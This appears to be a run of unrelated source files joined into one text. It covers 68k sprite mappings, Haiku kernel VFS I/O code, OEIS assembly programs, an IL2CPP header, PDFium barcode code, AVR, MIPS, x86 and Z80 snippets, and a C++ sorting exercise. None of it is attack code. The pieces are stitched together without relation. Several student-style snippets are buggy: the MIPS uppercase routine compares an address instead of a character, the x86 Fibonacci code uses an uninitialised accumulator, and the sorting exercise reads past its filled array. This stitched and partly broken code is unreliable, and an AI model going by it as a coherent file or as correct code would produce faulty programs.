$EC dc.b $F4, 2, 0, $C, $C MS_Warp2: dc.b 1 ; warped 2 (unused) dc.b $F0, $F, 0, 0, $F0 MS_Warp3: dc.b 2 ; warped 3 (unused) dc.b $EC, $B, 0, 0, $F4 dc.b $C, 8, 0, $C, $F4 MS_Warp4: dc.b 1 ; warped 4 (unused) dc.b $F0, $F, 0, 0, $F0 MS_Stop1: dc.b 2 ; stopping 1 dc.b $ED, 9, 0, 0, $F0 dc.b $FD, $E, 0, 6, $F0 MS_Stop2: dc.b 4 ; stopping 2 dc.b $ED, 9, 0, 0, $F0 dc.b $FD, $D, 0, 6, $F0 dc.b $D, 4, 0, $E, 0 dc.b 5, 0, 0, $10, $E8 MS_Duck: dc.b 4 ; ducking dc.b $F4, 4, 0, 0, $FC dc.b $FC, $D, 0, 2, $F4 dc.b $C, 8, 0, $A, $F4 dc.b 4, 0, 0, $D, $EC MS_Balance1: dc.b 3 ; balancing 1 dc.b $EC, 8, 8, 0, $E8 dc.b $F4, 2, 8, 3, 0 dc.b $F4, $F, 8, 6, $E0 MS_Balance2: dc.b 3 ; balancing 2 dc.b $EC, $E, 8, 0, $E8 dc.b 4, $D, 8, $C, $E0 dc.b $C, 0, $18, $14, 0 MS_Float1: dc.b 3 ; spinning 1 (LZ) dc.b $F4, $D, 0, 0, $FC dc.b $FC, 5, 0, 8, $EC dc.b 4, 8, 0, $C, $FC MS_Float2: dc.b 2 ; spinning 2 (LZ) dc.b $F4, $A, 0, 0, $E8 dc.b $F4, $A, 8, 0, 0 MS_Float3: dc.b 3 ; spinning 3 (LZ) dc.b $F4, $D, 0, 0, $E4 dc.b $FC, 0, 0, 8, 4 dc.b 4, $C, 0, 9, $EC MS_Float4: dc.b 3 ; spinning 4 (LZ) dc.b $F4, $D, 0, 0, $FC dc.b $FC, 5, 0, 8, $EC dc.b 4, 8, 0, $C, $FC MS_Spring: dc.b 3 ; bouncing on a spring dc.b $E8, $B, 0, 0, $F0 dc.b 8, 4, 0, $C, $F8 dc.b $10, 0, 0, $E, $F8 MS_Hang1: dc.b 4 ; hanging 1 (LZ) dc.b $F8, $E, 0, 0, $E8 dc.b 0, 5, 0, $C, 8 dc.b $F8, 0, 0, $10, 8 dc.b $F0, 0, 0, $11, $F8 MS_Hang2: dc.b 4 ; hanging 2 (LZ) dc.b $F8, $E, 0, 0, $E8 dc.b 0, 5, 0, $C, 8 dc.b $F8, 0, 0, $10, 8 dc.b $F0, 0, 0, $11, $F8 MS_Leap1: dc.b 5 ; celebration leap 1 (unused) dc.b $E8, $A, 0, 0, $F4 dc.b $F0, 1, 0, 9, $C dc.b 0, 9, 0, $B, $F4 dc.b $10, 4, 0, $11, $F4 dc.b 0, 0, 0, $13, $EC MS_Leap2: dc.b 5 ; celebration leap 2 (unused) dc.b $E8, $A, 0, 0, $F4 dc.b $E8, 1, 0, 9, $C dc.b 0, 9, 0, $B, $F4 dc.b $10, 4, 0, $11, $F4 dc.b 0, 0, 0, $13, $EC MS_Push1: dc.b 2 ; pushing 1 dc.b $ED, $A, 0, 0, $F3 dc.b 5, $D, 0, 9, $EB MS_Push2: dc.b 3 ; pushing 2 dc.b $EC, $A, 0, 0, $F3 dc.b 4, 8, 0, 9, $F3 dc.b $C, 4, 0, $C, $F3 MS_Push3: dc.b 2 ; pushing 3 dc.b $ED, $A, 0, 0, $F3 dc.b 5, $D, 0, 9, $EB MS_Push4: dc.b 3 ; pushing 4 dc.b $EC, $A, 0, 0, $F3 dc.b 4, 8, 0, 9, $F3 dc.b $C, 4, 0, $C, $F3 MS_Surf: dc.b 2 ; surfing or sliding (unused) dc.b $EC, 9, 0, 0, $F0 dc.b $FC, $E, 0, 6, $F0 MS_BubStand: dc.b 3 ; collecting bubble (unused) dc.b $EC, $A, 0, 0, $F0 dc.b 4, 5, 0, 9, $F8 dc.b $E4, 0, 0, $D, $F8 MS_Burnt: dc.b 3 ; grey death dc.b $E8, $D, 0, 0, $EC dc.b $E8, 1, 0, 8, $C dc.b $F8, $B, 0, $A, $F4 MS_Drown: dc.b 5 ; drowning dc.b $E8, $D, 0, 0, $EC dc.b $E8, 1, 0, 8, $C dc.b $F8, 9, 0, $A, $F4 dc.b 8, $C, 0, $10, $F4 dc.b $10, 0, 0, $14, $F4 MS_Death: dc.b 5 ; death dc.b $E8, $D, 0, 0, $EC dc.b $E8, 1, 0, 8, $C dc.b $F8, 9, 0, $A, $F4 dc.b 8, $C, 0, $10, $F4 dc.b $10, 0, 0, $14, $F4 MS_Shrink1: dc.b 2 ; shrinking 1 (unused) dc.b $EC, 8, 0, 0, $F0 dc.b $F4, $F, 0, 3, $F0 MS_Shrink2: dc.b 3 ; shrinking 2 (unused) dc.b $EC, 8, 0, 0, $F0 dc.b $F4, $E, 0, 3, $F0 dc.b $C, 8, 0, $F, $F8 MS_Shrink3: dc.b 1 ; shrinking 3 (unused) dc.b $F0, $B, 0, 0, $F4 MS_Shrink4: dc.b 1 ; shrinking 4 (unused) dc.b $F4, 6, 0, 0, $F8 MS_Shrink5: dc.b 1 ; shrinking 5 (unused) dc.b $F8, 1, 0, 0, $FC MS_Float5: dc.b 3 ; spinning 5 (LZ) dc.b $F4, $D, 8, 0, $E4 dc.b $FC, 5, 8, 8, 4 dc.b 4, 8, 8, $C, $EC MS_Float6: dc.b 3 ; spinning 6 (LZ) dc.b $F4, $D, 8, 0, $FC dc.b $FC, 0, 8, 8, $F4 dc.b 4, $C, 8, 9, $F4 MS_Injury: dc.b 3 ; injury dc.b $F0, $E, 0, 0, $EC dc.b $F8, 1, 0, $C, $C dc.b 8, $C, 0, $E, $F4 MS_GetAir: dc.b 3 ; collecting bubble (LZ) dc.b $EB, 9, 0, 0, $F4 dc.b $FB, $E, 0, 6, $EC dc.b 3, 1, 0, $12, $C MS_WaterSlide: dc.b 2 ; water slide (LZ) dc.b $F0, $F, 0, 0, $EC dc.b $F8, 2, 0, $10, $C even
; Ellipse Workstation 1100 (fictitious computer) ; Ellipse DOS sample executable (HELLO.COM) ; ; Copyright (c) 2020 Sampo Hippeläinen (hisahi) ; ; Permission is hereby granted, free of charge, to any person obtaining a copy ; of this software and associated documentation files (the "Software"), to deal ; in the Software without restriction, including without limitation the rights ; to use, copy, modify, merge, publish, distribute, sublicense, and/or sell ; copies of the Software, and to permit persons to whom the Software is ; furnished to do so, subject to the following conditions: ; ; The above copyright notice and this permission notice shall be included in all ; copies or substantial portions of the Software. ; ; THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR ; IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, ; FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE ; AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER ; LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, ; OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE ; SOFTWARE. ; ; Written for the WLA-DX assembler ; .INCLUDE "doscomhd.asm" BEGINNING: ACC8 ; 8-bit A LDA $0080.W ; do we have stuff on the command line? BNE @NAME ; if so, go to @NAME (length > 0) @WORLD: ACC16 ; 16-bit accumulator LDA #$0900 ; Ah=$09 => print until '$' LDX #MSG ; print from MSG DOSCALL LDA #$0000 ; Ah=$00 => terminate (exit code Al=$00) DOSCALL @NAME: ACC16 ; 16-bit accumulator LDA #$0900 ; Ah=$09 => print until '$' LDX #MSG1 ; print from MSG1 DOSCALL LDA #$1900 ; Ah=$19 => print until $00 LDX #$0081 ; from the command line DOSCALL LDA #$0900 ; Ah=$09 => print until '$' LDX #MSG2 ; print from MSG2 DOSCALL LDA #$0000 ; Ah=$00 => terminate (exit code Al=$00) DOSCALL MSG: .DB "Hello, World!", 13, "$" MSG1: .DB "Hello, $" MSG2: .DB "!", 13, "$"
/* * Copyright 2008-2010, Ingo Weinhold, ingo_weinhold@gmx.de. * Distributed under the terms of the MIT License. */ // included by vfs.cpp //#define TRACE_VFS_REQUEST_IO #ifdef TRACE_VFS_REQUEST_IO # define TRACE_RIO(x...) dprintf(x) #else # define TRACE_RIO(x...) do {} while (false) #endif #include <heap.h> // #pragma mark - AsyncIOCallback AsyncIOCallback::~AsyncIOCallback() { } /* static */ status_t AsyncIOCallback::IORequestCallback(void* data, io_request* request, status_t status, bool partialTransfer, generic_size_t transferEndOffset) { ((AsyncIOCallback*)data)->IOFinished(status, partialTransfer, transferEndOffset); return B_OK; } // #pragma mark - StackableAsyncIOCallback StackableAsyncIOCallback::StackableAsyncIOCallback(AsyncIOCallback* next) : fNextCallback(next) { } // #pragma mark - struct iterative_io_cookie { struct vnode* vnode; file_descriptor* descriptor; iterative_io_get_vecs get_vecs; iterative_io_finished finished; void* cookie; off_t request_offset; io_request_finished_callback next_finished_callback; void* next_finished_cookie; }; class DoIO { public: DoIO(bool write) : fWrite(write) { } virtual ~DoIO() { } virtual status_t IO(off_t offset, void* buffer, size_t* length) = 0; protected: bool fWrite; }; class CallbackIO : public DoIO { public: CallbackIO(bool write, status_t (*doIO)(void* cookie, off_t offset, void* buffer, size_t* length), void* cookie) : DoIO(write), fDoIO(doIO), fCookie(cookie) { } virtual status_t IO(off_t offset, void* buffer, size_t* length) { return fDoIO(fCookie, offset, buffer, length); } private: status_t (*fDoIO)(void*, off_t, void*, size_t*); void* fCookie; }; class VnodeIO : public DoIO { public: VnodeIO(bool write, struct vnode* vnode, void* cookie) : DoIO(write), fVnode(vnode), fCookie(cookie) { } virtual status_t IO(off_t offset, void* buffer, size_t* length) { iovec vec; vec.iov_base = buffer; vec.iov_len = *length; if (fWrite) { return FS_CALL(fVnode, write_pages, fCookie, offset, &vec, 1, length); } return FS_CALL(fVnode, read_pages, fCookie, offset, &vec, 1, length); } private: struct vnode* fVnode; void* fCookie; }; static status_t do_iterative_fd_io_iterate(void* _cookie, io_request* request, bool* _partialTransfer) { TRACE_RIO("[%ld] do_iterative_fd_io_iterate(request: %p)\n", find_thread(NULL), request); static const size_t kMaxSubRequests = 8; iterative_io_cookie* cookie = (iterative_io_cookie*)_cookie; request->DeleteSubRequests(); off_t requestOffset = cookie->request_offset; size_t requestLength = request->Length() - (requestOffset - request->Offset()); // get the next file vecs file_io_vec vecs[kMaxSubRequests]; size_t vecCount = kMaxSubRequests; status_t error = cookie->get_vecs(cookie->cookie, request, requestOffset, requestLength, vecs, &vecCount); if (error != B_OK && error != B_BUFFER_OVERFLOW) return error; if (vecCount == 0) { *_partialTransfer = true; return B_OK; } TRACE_RIO("[%ld] got %zu file vecs\n", find_thread(NULL), vecCount); // Reset the error code for the loop below error = B_OK; // create subrequests for the file vecs we've got size_t subRequestCount = 0; for (size_t i = 0; i < vecCount && subRequestCount < kMaxSubRequests && error == B_OK; i++) { off_t vecOffset = vecs[i].offset; off_t vecLength = min_c(vecs[i].length, (off_t)requestLength); TRACE_RIO("[%ld] vec %lu offset: %lld, length: %lld\n", find_thread(NULL), i, vecOffset, vecLength); // Special offset -1 means that this is part of sparse file that is // zero. We fill it in right here. if (vecOffset == -1) { if (request->IsWrite()) { panic("do_iterative_fd_io_iterate(): write to sparse file " "vector"); error = B_BAD_VALUE; break; } error = request->ClearData(requestOffset, vecLength); if (error != B_OK) break; requestOffset += vecLength; requestLength -= vecLength; continue; } while (vecLength > 0 && subRequestCount < kMaxSubRequests) { TRACE_RIO("[%ld] creating subrequest: offset: %lld, length: " "%lld\n", find_thread(NULL), vecOffset, vecLength); IORequest* subRequest; error = request->CreateSubRequest(requestOffset, vecOffset, vecLength, subRequest); if (error != B_OK) break; subRequestCount++; size_t lengthProcessed = subRequest->Length(); vecOffset += lengthProcessed; vecLength -= lengthProcessed; requestOffset += lengthProcessed; requestLength -= lengthProcessed; } } // Only if we couldn't create any subrequests, we fail. if (error != B_OK && subRequestCount == 0) return error; // Reset the error code for the loop below error = B_OK; request->Advance(requestOffset - cookie->request_offset); cookie->request_offset = requestOffset; // If we don't have any sub requests at this point, that means all that // remained were zeroed sparse file vectors. So the request is done now. if (subRequestCount == 0) { ASSERT(request->RemainingBytes() == 0); request->SetStatusAndNotify(B_OK); return B_OK; } // Schedule the subrequests. IORequest* nextSubRequest = request->FirstSubRequest(); while (nextSubRequest != NULL) { IORequest* subRequest = nextSubRequest; nextSubRequest = request->NextSubRequest(subRequest); if (error == B_OK) { TRACE_RIO("[%ld] scheduling subrequest: %p\n", find_thread(NULL), subRequest); error = vfs_vnode_io(cookie->vnode, cookie->descriptor->cookie, subRequest); } else { // Once scheduling a subrequest failed, we cancel all subsequent // subrequests. subRequest->SetStatusAndNotify(B_CANCELED); } } // TODO: Cancel the subrequests that were scheduled successfully. return B_OK; } static status_t do_iterative_fd_io_finish(void* _cookie, io_request* request, status_t status, bool partialTransfer, generic_size_t transferEndOffset) { iterative_io_cookie* cookie = (iterative_io_cookie*)_cookie; if (cookie->finished != NULL) { cookie->finished(cookie->cookie, request, status, partialTransfer, transferEndOffset); } put_fd(cookie->descriptor); if (cookie->next_finished_callback != NULL) { cookie->next_finished_callback(cookie->next_finished_cookie, request, status, partialTransfer, transferEndOffset); } delete cookie; return B_OK; } static status_t do_synchronous_iterative_vnode_io(struct vnode* vnode, void* openCookie, io_request* request, iterative_io_get_vecs getVecs, iterative_io_finished finished, void* cookie) { IOBuffer* buffer = request->Buffer(); VnodeIO io(request->IsWrite(), vnode, openCookie); iovec vector; void* virtualVecCookie = NULL; off_t offset = request->Offset(); generic_size_t length = request->Length(); status_t error = B_OK; for (; error == B_OK && length > 0 && buffer->GetNextVirtualVec(virtualVecCookie, vector) == B_OK;) { uint8* vecBase = (uint8*)vector.iov_base; generic_size_t vecLength = min_c(vector.iov_len, length); while (error == B_OK && vecLength > 0) { file_io_vec fileVecs[8]; size_t fileVecCount = 8; error = getVecs(cookie, request, offset, vecLength, fileVecs, &fileVecCount); if (error != B_OK || fileVecCount == 0) break; for (size_t i = 0; i < fileVecCount; i++) { const file_io_vec& fileVec = fileVecs[i]; size_t toTransfer = min_c(fileVec.length, (off_t)length); size_t transferred = toTransfer; error = io.IO(fileVec.offset, vecBase, &transferred); if (error != B_OK) break; offset += transferred; length -= transferred; vecBase += transferred; vecLength -= transferred; if (transferred != toTransfer) break; } } } buffer->FreeVirtualVecCookie(virtualVecCookie); bool partial = length > 0; size_t bytesTransferred = request->Length() - length; request->SetTransferredBytes(partial, bytesTransferred); finished(cookie, request, error, partial, bytesTransferred); request->SetStatusAndNotify(error); return error; } static status_t synchronous_io(io_request* request, DoIO& io) { TRACE_RIO("[%" B_PRId32 "] synchronous_io(request: %p (offset: %" B_PRIdOFF ", length: %" B_PRIuGENADDR "))\n", find_thread(NULL), request, request->Offset(), request->Length()); IOBuffer* buffer = request->Buffer(); iovec vector; void* virtualVecCookie = NULL; off_t offset = request->Offset(); generic_size_t length = request->Length(); for (; length > 0 && buffer->GetNextVirtualVec(virtualVecCookie, vector) == B_OK;) { void* vecBase = (void*)(addr_t)vector.iov_base; size_t vecLength = min_c(vector.iov_len, length); TRACE_RIO("[%ld] I/O: offset: %lld, vecBase: %p, length: %lu\n", find_thread(NULL), offset, vecBase, vecLength); size_t transferred = vecLength; status_t error = io.IO(offset, vecBase, &transferred); if (error != B_OK) { TRACE_RIO("[%ld] I/O failed: %#lx\n", find_thread(NULL), error); buffer->FreeVirtualVecCookie(virtualVecCookie); request->SetStatusAndNotify(error); return error; } offset += transferred; length -= transferred; if (transferred != vecLength) break; } TRACE_RIO("[%ld] synchronous_io() succeeded\n", find_thread(NULL)); buffer->FreeVirtualVecCookie(virtualVecCookie); request->SetTransferredBytes(length > 0, request->Length() - length); request->SetStatusAndNotify(B_OK); return B_OK; } // #pragma mark - kernel private API status_t vfs_vnode_io(struct vnode* vnode, void* cookie, io_request* request) { status_t result = B_ERROR; if (!HAS_FS_CALL(vnode, io) || (result = FS_CALL(vnode, io, cookie, request)) == B_UNSUPPORTED) { // no io() call -- fall back to synchronous I/O VnodeIO io(request->IsWrite(), vnode, cookie); return synchronous_io(request, io); } return result; } status_t vfs_synchronous_io(io_request* request, status_t (*doIO)(void* cookie, off_t offset, void* buffer, size_t* length), void* cookie) { CallbackIO io(request->IsWrite(), doIO, cookie); return synchronous_io(request, io); } status_t vfs_asynchronous_read_pages(struct vnode* vnode, void* cookie, off_t pos, const generic_io_vec* vecs, size_t count, generic_size_t numBytes, uint32 flags, AsyncIOCallback* callback) { IORequest* request = IORequest::Create((flags & B_VIP_IO_REQUEST) != 0); if (request == NULL) { callback->IOFinished(B_NO_MEMORY, true, 0); return B_NO_MEMORY; } status_t status = request->Init(pos, vecs, count, numBytes, false, flags | B_DELETE_IO_REQUEST); if (status != B_OK) { delete request; callback->IOFinished(status, true, 0); return status; } request->SetFinishedCallback(&AsyncIOCallback::IORequestCallback, callback); return vfs_vnode_io(vnode, cookie, request); } status_t vfs_asynchronous_write_pages(struct vnode* vnode, void* cookie, off_t pos, const generic_io_vec* vecs, size_t count, generic_size_t numBytes, uint32 flags, AsyncIOCallback* callback) { IORequest* request = IORequest::Create((flags & B_VIP_IO_REQUEST) != 0); if (request == NULL) { callback->IOFinished(B_NO_MEMORY, true, 0); return B_NO_MEMORY; } status_t status = request->Init(pos, vecs, count, numBytes, true, flags | B_DELETE_IO_REQUEST); if (status != B_OK) { delete request; callback->IOFinished(status, true, 0); return status; } request->SetFinishedCallback(&AsyncIOCallback::IORequestCallback, callback); return vfs_vnode_io(vnode, cookie, request); } // #pragma mark - public API status_t do_fd_io(int fd, io_request* request) { struct vnode* vnode; file_descriptor* descriptor = get_fd_and_vnode(fd, &vnode, true); if (descriptor == NULL) { request->SetStatusAndNotify(B_FILE_ERROR); return B_FILE_ERROR; } CObjectDeleter<file_descriptor> descriptorPutter(descriptor, put_fd); return vfs_vnode_io(vnode, descriptor->cookie, request); } status_t do_iterative_fd_io(int fd, io_request* request, iterative_io_get_vecs getVecs, iterative_io_finished finished, void* cookie) { TRACE_RIO("[%" B_PRId32 "] do_iterative_fd_io(fd: %d, request: %p " "(offset: %" B_PRIdOFF ", length: %" B_PRIuGENADDR "))\n", find_thread(NULL), fd, request, request->Offset(), request->Length()); struct vnode* vnode; file_descriptor* descriptor = get_fd_and_vnode(fd, &vnode, true); if (descriptor == NULL) { finished(cookie, request, B_FILE_ERROR, true, 0); request->SetStatusAndNotify(B_FILE_ERROR); return B_FILE_ERROR; } CObjectDeleter<file_descriptor> descriptorPutter(descriptor, put_fd); if (!HAS_FS_CALL(vnode, io)) { // no io() call -- fall back to synchronous I/O return do_synchronous_iterative_vnode_io(vnode, descriptor->cookie, request, getVecs, finished, cookie); } iterative_io_cookie* iterationCookie = (request->Flags() & B_VIP_IO_REQUEST) != 0 ? new(malloc_flags(HEAP_PRIORITY_VIP)) iterative_io_cookie : new(std::nothrow) iterative_io_cookie; if (iterationCookie == NULL) { // no memory -- fall back to synchronous I/O return do_synchronous_iterative_vnode_io(vnode, descriptor->cookie, request, getVecs, finished, cookie); } iterationCookie->vnode = vnode; iterationCookie->descriptor = descriptor; iterationCookie->get_vecs = getVecs; iterationCookie->finished = finished; iterationCookie->cookie = cookie; iterationCookie->request_offset = request->Offset(); iterationCookie->next_finished_callback = request->FinishedCallback( &iterationCookie->next_finished_cookie); request->SetFinishedCallback(&do_iterative_fd_io_finish, iterationCookie); request->SetIterationCallback(&do_iterative_fd_io_iterate, iterationCookie); descriptorPutter.Detach(); // From now on the descriptor is put by our finish callback. bool partialTransfer = false; status_t error = do_iterative_fd_io_iterate(iterationCookie, request, &partialTransfer); if (error != B_OK || partialTransfer) { if (partialTransfer) { request->SetTransferredBytes(partialTransfer, request->TransferredBytes()); } request->SetStatusAndNotify(error); return error; } return B_OK; }
; A269132: a(n) = n + floor(n*(2*n+1)/5). ; 0,1,4,7,11,16,21,28,35,43,52,61,72,83,95,108,121,136,151,167,184,201,220,239,259,280,301,324,347,371,396,421,448,475,503,532,561,592,623,655,688,721,756,791,827,864,901,940,979,1019,1060,1101,1144,1187,1231 mov $1,$0 add $1,$0 add $1,6 mul $1,$0 div $1,5
// Autogenerated from CppHeaderCreator on 7/27/2020 3:10:13 PM // Created by Sc2ad // ========================================================================= #pragma once #pragma pack(push, 8) // Begin includes #include "utils/typedefs.h" // Including type: System.MulticastDelegate #include "System/MulticastDelegate.hpp" // Including type: Valve.VR.IVRChaperoneSetup #include "Valve/VR/IVRChaperoneSetup.hpp" #include "utils/il2cpp-utils.hpp" // Completed includes // Begin forward declares // Forward declaring namespace: System namespace System { // Skipping declaration: IntPtr because it is already included! // Forward declaring type: IAsyncResult class IAsyncResult; // Forward declaring type: AsyncCallback class AsyncCallback; } // Completed forward declares // Type namespace: Valve.VR namespace Valve::VR { // Autogenerated type: Valve.VR.IVRChaperoneSetup/_GetLiveCollisionBoundsTagsInfo class IVRChaperoneSetup::_GetLiveCollisionBoundsTagsInfo : public System::MulticastDelegate { public: // public System.Void .ctor(System.Object object, System.IntPtr method) // Offset: 0x15E3C80 static IVRChaperoneSetup::_GetLiveCollisionBoundsTagsInfo* New_ctor(::Il2CppObject* object, System::IntPtr method); // public System.Boolean Invoke(System.Byte[] pTagsBuffer, System.UInt32 punTagCount) // Offset: 0x15E3C94 bool Invoke(::Array<uint8_t>*& pTagsBuffer, uint& punTagCount); // public System.IAsyncResult BeginInvoke(System.Byte[] pTagsBuffer, System.UInt32 punTagCount, System.AsyncCallback callback, System.Object object) // Offset: 0x15E3F0C System::IAsyncResult* BeginInvoke(::Array<uint8_t>*& pTagsBuffer, uint& punTagCount, System::AsyncCallback* callback, ::Il2CppObject* object); // public System.Boolean EndInvoke(System.UInt32 punTagCount, System.IAsyncResult result) // Offset: 0x15E3FA8 bool EndInvoke(uint& punTagCount, System::IAsyncResult* result); }; // Valve.VR.IVRChaperoneSetup/_GetLiveCollisionBoundsTagsInfo } DEFINE_IL2CPP_ARG_TYPE(Valve::VR::IVRChaperoneSetup::_GetLiveCollisionBoundsTagsInfo*, "Valve.VR", "IVRChaperoneSetup/_GetLiveCollisionBoundsTagsInfo"); #pragma pack(pop)
# procedura che converte in maiuscolo una stringa di byte (assumiamo solo caratteri minuscoli) # conversione inplace -> sovrascrive il vettore in argomento # $a0 <- indirizzo del vettore .data a: .ascii "a" z: .ascii "z" .text .globl upper_case_letter upper_case_letter: #preambolo move $t0 $fp addi $fp $sp -4 sw $t0 0($fp) sw $s0 -4($fp) sw $s1 -8($fp) sw $ra -12($fp) addi $sp $fp -12 #codice move $s0 $a0 #in $s0 ho l'indirizzo dell'elemento corrente del vettore # "abc" -> abc\0 lb $t0 a lb $t1 z move $s0 $a0 #if a[0] >= a && a[0]<=z then -32 else return bgt $s0 $t1 end blt $s0 $t0 end addi $s0 $s0 -32 end: move $v0 $s0 #epilogo lw $t0 0($fp) lw $s0 -4($fp) lw $s1 -8($fp) lw $ra -12($fp) move $fp $t0 jr $ra
// Copyright 2018 PDFium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. // Original code copyright 2014 Foxit Software Inc. http://www.foxitsoftware.com #include "fxbarcode/cbc_eancode.h" #include <utility> #include "fxbarcode/oned/BC_OnedEANWriter.h" CBC_EANCode::CBC_EANCode(std::unique_ptr<CBC_OneDimEANWriter> pWriter) : CBC_OneCode(std::move(pWriter)) {} CBC_EANCode::~CBC_EANCode() = default; CBC_OneDimEANWriter* CBC_EANCode::GetOneDimEANWriter() { return static_cast<CBC_OneDimEANWriter*>(m_pBCWriter.get()); } bool CBC_EANCode::Encode(WideStringView contents) { if (contents.IsEmpty()) return false; BCFORMAT format = GetFormat(); int32_t out_width = 0; int32_t out_height = 0; m_renderContents = Preprocess(contents); ByteString str = m_renderContents.ToUTF8(); auto* pWriter = GetOneDimEANWriter(); pWriter->InitEANWriter(); std::unique_ptr<uint8_t, FxFreeDeleter> data( pWriter->Encode(str, format, out_width, out_height)); return data && pWriter->RenderResult(m_renderContents.AsStringView(), data.get(), out_width); } bool CBC_EANCode::RenderDevice(CFX_RenderDevice* device, const CFX_Matrix* matrix) { return GetOneDimEANWriter()->RenderDeviceResult( device, matrix, m_renderContents.AsStringView()); } WideString CBC_EANCode::Preprocess(WideStringView contents) { auto* pWriter = GetOneDimEANWriter(); WideString encoded_contents = pWriter->FilterContents(contents); size_t length = encoded_contents.GetLength(); size_t max_length = GetMaxLength(); if (length <= max_length) { for (size_t i = 0; i < max_length - length; i++) encoded_contents.InsertAtFront(L'0'); ByteString str = encoded_contents.ToUTF8(); int32_t checksum = pWriter->CalcChecksum(str); str += '0' + checksum; encoded_contents = WideString::FromUTF8(str.AsStringView()); } else { encoded_contents = encoded_contents.Left(max_length + 1); } return encoded_contents; }
Name: en-init-3.asm Type: file Size: 4141 Last-Modified: '1993-07-20T07:13:23Z' SHA-1: BCE8CC7A9B52431CC25DDE345521AB8C5985AC11 Description: null
%include "io.inc" section .data N dd 9 ; compute the sum of the first N fibonacci numbers section .text global CMAIN CMAIN: push ebp mov ebp, esp ; TODO: calculate the sum of first N fibonacci numbers ; (f(0) = 0, f(1) = 1) ; store the sum in eax ; use loop instruction mov ebx, 0 mov edx, 1 mov ecx, [N] sbb ecx, 2 count: mov esi, edx add edx, ebx mov ebx, esi add eax, edx loop count PRINT_STRING "Sum first " PRINT_DEC 4, [N] PRINT_STRING " fibo is " PRINT_UDEC 4, eax xor eax, eax leave ret
; A038873: Primes p such that 2 is a square mod p; or, primes congruent to {1, 2, 7} mod 8. ; Submitted by Jon Maiga ; 2,7,17,23,31,41,47,71,73,79,89,97,103,113,127,137,151,167,191,193,199,223,233,239,241,257,263,271,281,311,313,337,353,359,367,383,401,409,431,433,439,449,457,463,479,487,503,521,569,577,593,599,601,607,617,631,641,647,673,719,727,743,751,761,769,809,823,839,857,863,881,887,911,919,929,937,953,967,977,983,991,1009,1031,1033,1039,1049,1063,1087,1097,1103,1129,1151,1153,1193,1201,1217,1223,1231,1249,1279 mov $1,3 mov $2,332202 lpb $2 mov $3,$6 seq $3,10051 ; Characteristic function of primes: 1 if n is prime, else 0. sub $0,$3 add $1,8 mov $4,$0 max $4,0 cmp $4,$0 mul $2,$4 sub $2,18 add $5,$1 div $5,6 mov $6,$5 lpe mov $0,$5 add $0,1
; ****************************************************** ; BASIC .ASM template file for AVR ; ****************************************************** .include "C:\VMLAB\include\m8def.inc" ; Define here the variables ; .def temp =r16 ; Define here Reset and interrupt vectors, if any ; reset: rjmp start reti ; Addr $01 reti ; Addr $02 reti ; Addr $03 reti ; Addr $04 reti ; Addr $05 reti ; Addr $06 Use 'rjmp myVector' reti ; Addr $07 to define a interrupt vector reti ; Addr $08 reti ; Addr $09 reti ; Addr $0A reti ; Addr $0B This is just an example reti ; Addr $0C Not all MCUs have the same reti ; Addr $0D number of interrupt vectors reti ; Addr $0E reti ; Addr $0F reti ; Addr $10 ; Program starts here after Reset ; start: nop ; Initialize here ports, stack pointer, nop ; cleanup RAM, etc. nop ; nop ; LDI R16,0XFF OUT DDRB,R16 LDI R16,(1<<TXEN) OUT UCSRB,R16 LDI R16,(1<<URSEL)|(1<<UCSZ1)|(1<<UCSZ0) OUT UCSRC,R16 LDI R16,0X33 OUT UBRRL ,R16 AGAIN: LDI R17,'y' CALL TRNSMT LDI R17,'E' CALL TRNSMT LDI R17,'S' CALL TRNSMT RJMP AGAIN TRNSMT: SBIS UCSRA,UDRE RJMP TRNSMT OUT UDR,R17 RET
SECTION code_clib ;INCLUDE "psg/sn76489.inc" PUBLIC bit_open PUBLIC _bit_open PUBLIC bit_open_di PUBLIC _bit_open_di PUBLIC bit_close PUBLIC _bit_close PUBLIC bit_close_ei PUBLIC _bit_close_ei EXTERN __snd_tick EXTERN __bit_irqstatus EXTERN psg_init EXTERN psg_tone ; $Id: bit_open.asm $ ;============================================================== ; void bit_open(); ; void bit_open_di(); ; void bit_close(); ; void bit_close_ei(); ;============================================================== ; Generic 1 bit sound functions ;============================================================== .bit_open_di ._bit_open_di ld a,i ; get the current status of the irq line di push af ex (sp),hl ld (__bit_irqstatus),hl pop hl .bit_open ._bit_open call psg_init ld de,1 ; channel 1, frequency 1 (fixed high output, volume will change the level) push de push de call psg_tone pop de pop de ld a,$BF ; channel 1 ($20) + set volume command ($90) + max attenuation ($0F) ld (__snd_tick),a ;out (psgport), a ; Sends it, but I think it is not necessary, the OUT instruction will happen in bit_* library ret .bit_close_ei ._bit_close_ei push hl ld hl,(__bit_irqstatus) ex (sp),hl pop af ret po ei .bit_close ._bit_close ret
; A302254: Exponent of the group of the Gaussian integers in a reduced system modulo (1+i)^n. ; 1,1,2,4,4,4,4,4,8,8,16,16,32,32,64,64,128,128,256,256,512,512,1024,1024,2048,2048,4096,4096,8192,8192,16384,16384,32768,32768,65536,65536,131072,131072,262144,262144,524288,524288,1048576,1048576,2097152,2097152,4194304,4194304,8388608,8388608 trn $0,1 mov $1,1 mov $2,5 trn $2,$0 mov $3,3 lpb $0,1 mul $1,2 trn $3,$2 sub $0,$3 trn $0,1 mov $3,1 lpe
#include <fstream> using namespace std; ifstream cin("ordsume.in"); ofstream cout("ordsume.out"); void sortare(int n, int a[]){ for(int i=1; i<n; i++) for(int j=i+1; j<=n; j++) if(a[i]>a[j]) swap(a[i], a[j]); } int main(){ int n, x, a[1001], b[10001], k=1; cin>>n; for(int i=1; i<=n; i++) cin>>a[i]; for(int i=1; i<n; i++) for(int j=i+1; j<=n; j++) if(a[i]!=a[j]) b[k++]=a[i]+a[j]; k--; sortare(k, b); for(int i=1; i<=k; i++) if(b[i]!=b[i+1]) cout<<b[i]<<" "; return 0; }
